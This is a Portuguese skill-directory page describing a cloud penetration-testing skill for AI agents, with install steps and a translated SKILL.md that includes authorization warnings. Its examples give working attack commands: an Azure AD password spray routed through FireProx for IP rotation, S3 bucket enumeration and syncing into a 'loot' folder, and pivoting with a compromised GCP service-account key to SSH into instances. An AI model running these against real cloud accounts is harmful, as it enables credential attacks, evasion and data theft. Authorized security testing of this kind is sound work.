Pular para o conteúdo
Skillpedia
Testes48 mil · #2550

cloud-penetration-testing

Faz seu agente realizar testes de segurança completos em nuvens como AWS, Azure e GCP. Ele procura por vulnerabilidades na infraestrutura de nuvem.

O que ela faz

Esta ferramenta ajuda a verificar a segurança de sistemas na nuvem (como Azure, AWS e Google Cloud). Ela simula ataques controlados para encontrar falhas antes que hackers mal-intencionados o façam.

Quando usar

  • ✓Para testar a segurança de uma conta na nuvem antes de colocá-la em produção.
  • ✓Para verificar se as proteções de segurança configuradas estão funcionando corretamente.
  • ✓Para aprender sobre segurança na nuvem em um ambiente controlado e autorizado.

Exemplo do que pedir para a IA

“Quero testar a segurança da minha conta AWS, focando em encontrar buckets S3 mal configurados.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/cloud-penetration-testing/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/cloud-penetration-testing/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa comandos específicos para cada provedor de nuvem (Azure, AWS, GCP) para tentar acessar recursos e identificar vulnerabilidades. Ela só executa ações após pedir sua permissão e confirmação explícita.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill cloud-penetration-testing

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/cloud-penetration-testing/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Testes de Penetração em Nuvem

Guia Detalhado

Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.

Pré-requisitos

Ferramentas Necessárias

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
cat "$tmpdir/google-cloud-sdk-install.sh"  # review the full installer before executing
bash "$tmpdir/google-cloud-sdk-install.sh"
gcloud init

# Additional tools
pip install scoutsuite pacu

Conhecimento Necessário

  • Fundamentos de arquitetura em nuvem
  • Gerenciamento de Identidade e Acesso (IAM)
  • Mecanismos de autenticação de API
  • Conceitos de DevOps e automação

Acesso Necessário

  • Autorização por escrito para testes
  • Credenciais de teste ou tokens de acesso
  • Escopo definido e regras de engajamento

Restrições e Limitações

Requisitos Legais

  • Teste apenas com autorização explícita por escrito
  • Respeite os limites de escopo entre contas de nuvem
  • Não acesse dados de clientes em produção
  • Documente todas as atividades de teste

Limitações Técnicas

  • MFA pode impedir ataques baseados em credenciais
  • Políticas de Acesso Condicional podem restringir o acesso
  • CloudTrail/Logs de Atividade registram todas as chamadas de API
  • Alguns recursos exigem acesso regional específico

Considerações de Detecção

  • Provedores de nuvem registram toda a atividade de API
  • Padrões de acesso incomuns disparam alertas
  • Use enumeração lenta e deliberada
  • Considere GuardDuty, Security Center, Cloud Armor

Exemplos

Exemplo 1: Azure Password Spray

Cenário: Testar a política de senha do Azure AD

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Exemplo 2: Enumeração de Bucket S3 da AWS

Cenário: Encontrar e acessar buckets S3 mal configurados

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

Exemplo 3: Comprometimento de Conta de Serviço GCP

Cenário: Pivotar usando conta de serviço comprometida

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

Quando Usar

…

Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.

O que acontece se eu não tiver permissão?

A ferramenta foi projetada para não executar testes de ataque sem confirmação. Ela só fornecerá informações defensivas e não realizará ações que possam alterar ou acessar dados sem autorização clara.

Quais provedores de nuvem ela suporta?

Ela suporta os principais provedores de nuvem: Microsoft Azure, Amazon Web Services (AWS) e Google Cloud Platform (GCP).

Detalhes

Descrição original do autor

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#2550
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas